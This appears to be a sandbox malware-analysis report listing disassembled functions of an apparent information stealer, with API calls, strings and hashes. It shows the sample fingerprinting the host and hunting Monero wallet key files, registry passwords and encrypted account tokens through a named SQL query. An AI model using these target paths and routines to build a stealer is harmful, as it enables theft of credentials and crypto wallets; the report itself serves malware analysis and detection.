Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 834098abfe787367e3996c14b23cb8e6ae82d7d997f2f7144eb231a631ebd28c
Instruction ID: ad9cabf4555c5163a99ed35bbaf6debbeae8c7d44d5c922c6c181c1479967bc5
Opcode Fuzzy Hash: 834098abfe787367e3996c14b23cb8e6ae82d7d997f2f7144eb231a631ebd28c
Instruction Fuzzy Hash: 3D5121B1D5031997CB15FB60DD92FED77BCAB54300F4045E8B60AA20D1EE705B89CBA6

Function 00B07500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00B07542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B0757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B07603
RtlAllocateHeap.NTDLL(00000000), ref: 00B0760A
wsprintfA.USER32 ref: 00B07640

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Strings

\, xrefs: 00B07560
xv, xrefs: 00B07635
:, xrefs: 00B0755C
C, xrefs: 00B0754C

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$xv
API String ID: 1544550907-1680789986
Opcode ID: 33a363fe12427317ac104071315f0dfcda35cd36ca159820c3bbd76578927970
Instruction ID: fda12e449ac538118b80dd483ce154c8c4d7b564bfa03a5ee28909f0b0016175
Opcode Fuzzy Hash: 33a363fe12427317ac104071315f0dfcda35cd36ca159820c3bbd76578927970
Instruction Fuzzy Hash: AB4171B1D44748ABDB10DB98DC85BEEBBB8EB18700F104199F509A72C0DB75AA44CBA5

Function 00AF75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00AF72D0: memset.MSVCRT ref: 00AF7314
Part of subcall function 00AF72D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00AF733A
Part of subcall function 00AF72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00AF73B1
Part of subcall function 00AF72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00AF740D
Part of subcall function 00AF72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00AF7452
Part of subcall function 00AF72D0: HeapFree.KERNEL32(00000000), ref: 00AF7459

lstrcat.KERNEL32(35441020,00B117FC), ref: 00AF7606
lstrcat.KERNEL32(35441020,00000000), ref: 00AF7648
lstrcat.KERNEL32(35441020, : ), ref: 00AF765A
lstrcat.KERNEL32(35441020,00000000), ref: 00AF768F
lstrcat.KERNEL32(35441020,00B11804), ref: 00AF76A0
lstrcat.KERNEL32(35441020,00000000), ref: 00AF76D3
lstrcat.KERNEL32(35441020,00B11808), ref: 00AF76ED
task.LIBCPMTD ref: 00AF76FB

Strings

: , xrefs: 00AF764E

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 17b6753de447f4b4cdf2019a3a0cbf51ea2286610bc5a293e4f9ed9aa9a09146
Instruction ID: b7fb4a1bfba5129443c6b6bc45dbe9e0d38e8a33207230ab4d3ff89a79aae206
Opcode Fuzzy Hash: 17b6753de447f4b4cdf2019a3a0cbf51ea2286610bc5a293e4f9ed9aa9a09146
Instruction Fuzzy Hash: 7D314C71A00209DFCB44EBF8DD96DFE77B8BB44301B144558F202E72A1DA35A946DB61

Function 00B08100 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0076E390,00000000,?,00B10E2C,00000000,?,00000000), ref: 00B08130
RtlAllocateHeap.NTDLL(00000000), ref: 00B08137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00B08158
__aulldiv.LIBCMT ref: 00B08172
__aulldiv.LIBCMT ref: 00B08180
wsprintfA.USER32 ref: 00B081AC

Strings

0v, xrefs: 00B0819B, 00B0819E
@, xrefs: 00B0814D
%d MB, xrefs: 00B081A3

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$0v$@
API String ID: 2774356765-256318634
Opcode ID: 0891cfd45e96e95f49737347e5fa7ff989f5b78417fdfd9bd6d5c8b0cdb1ae4f
Instruction ID: d7f138b1a4213a84f6d8e5cc82bf0db97a762e750fb880eeb3d998f64ef49a25
Opcode Fuzzy Hash: 0891cfd45e96e95f49737347e5fa7ff989f5b78417fdfd9bd6d5c8b0cdb1ae4f
Instruction Fuzzy Hash: FD21F9B1A44318ABDB00DFD4DC49FAEBBB8EB48B10F104549F605BB2C0D77859018BA5

Function 00AF72D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00AF7314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00AF733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00AF73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00AF740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00AF7452
HeapFree.KERNEL32(00000000), ref: 00AF7459
task.LIBCPMTD ref: 00AF7555

Strings

Password, xrefs: 00AF7401

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: abfde678ff1902ed890d3c9b3f3648a4564033cb724e80eaa9903c4f64f124ab
Instruction ID: dbbfebc7d0a6b08aa297cde6630ff530cc84daf29092d9b64524505375f0019a
Opcode Fuzzy Hash: abfde678ff1902ed890d3c9b3f3648a4564033cb724e80eaa9903c4f64f124ab
Instruction Fuzzy Hash: 66611BB590426C9BDB24DB94DD41BEAB7B8BF44300F0081E9F689A6181DB745BC9CFA1

Function 00B040B0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00B040D5
RegOpenKeyExA.KERNEL32(80000001,0076D388,00000000,00020119,?), ref: 00B040F4
RegQueryValueExA.ADVAPI32(?,0076E4F8,00000000,00000000,00000000,000000FF), ref: 00B04118
RegCloseKey.ADVAPI32(?), ref: 00B04122
lstrcat.KERNEL32(?,00000000), ref: 00B04147
lstrcat.KERNEL32(?,0076E540), ref: 00B0415B

Strings

@v, xrefs: 00B0414D
0v, xrefs: 00B04233

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID: 0v$@v
API String ID: 2623679115-3159324401
Opcode ID: e44032b1068e1bb1877793d8b6df1b1d1303914e12fd48d2c8ffe251ebdbf644
Instruction ID: d6b4ece2152368ae2b0b4e7f09dc72b35ae4464d934126352d27b7999d7da6b2
Opcode Fuzzy Hash: e44032b1068e1bb1877793d8b6df1b1d1303914e12fd48d2c8ffe251ebdbf644
Instruction Fuzzy Hash: 9F4189B6900208ABDB14EBE4DC46FFE777DAB48300F404598B75597181EA759B888BE2

Function 00B07690 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B076A4
RtlAllocateHeap.NTDLL(00000000), ref: 00B076AB
RegOpenKeyExA.KERNEL32(80000002,0075B780,00000000,00020119,00000000), ref: 00B076DD
RegQueryValueExA.KERNEL32(00000000,0076E348,00000000,00000000,?,000000FF), ref: 00B076FE
RegCloseKey.ADVAPI32(00000000), ref: 00B07708

Strings

Hv, xrefs: 00B076F3
Windows 11, xrefs: 00B076BD

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Hv$Windows 11
API String ID: 3225020163-4284449913
Opcode ID: 3aee043626299482e3fc97699ddbade47266f69385312addc62e64b40c0860bb
Instruction ID: 4af54410c1aff65e7ebab864ae90649ebe7adf5b621f0399809252a041e459b1
Opcode Fuzzy Hash: 3aee043626299482e3fc97699ddbade47266f69385312addc62e64b40c0860bb
Instruction Fuzzy Hash: 50014FB5B44308BBD700DBE8DC4DFA9BBB8EB48701F104099FA45D72D0DAB0A9448B61

Function 00AFBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

lstrlen.KERNEL32(00000000), ref: 00AFBC9F

Part of subcall function 00B08E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B08E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00AFBCCD
lstrlen.KERNEL32(00000000), ref: 00AFBDA5
lstrlen.KERNEL32(00000000), ref: 00AFBDB9

Strings

AccountTokens, xrefs: 00AFBB49
AccountId, xrefs: 00AFBCC4
AccountTokens, xrefs: 00AFBABA
SELECT service, encrypted_token FROM token_service, xrefs: 00AFBBEB

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
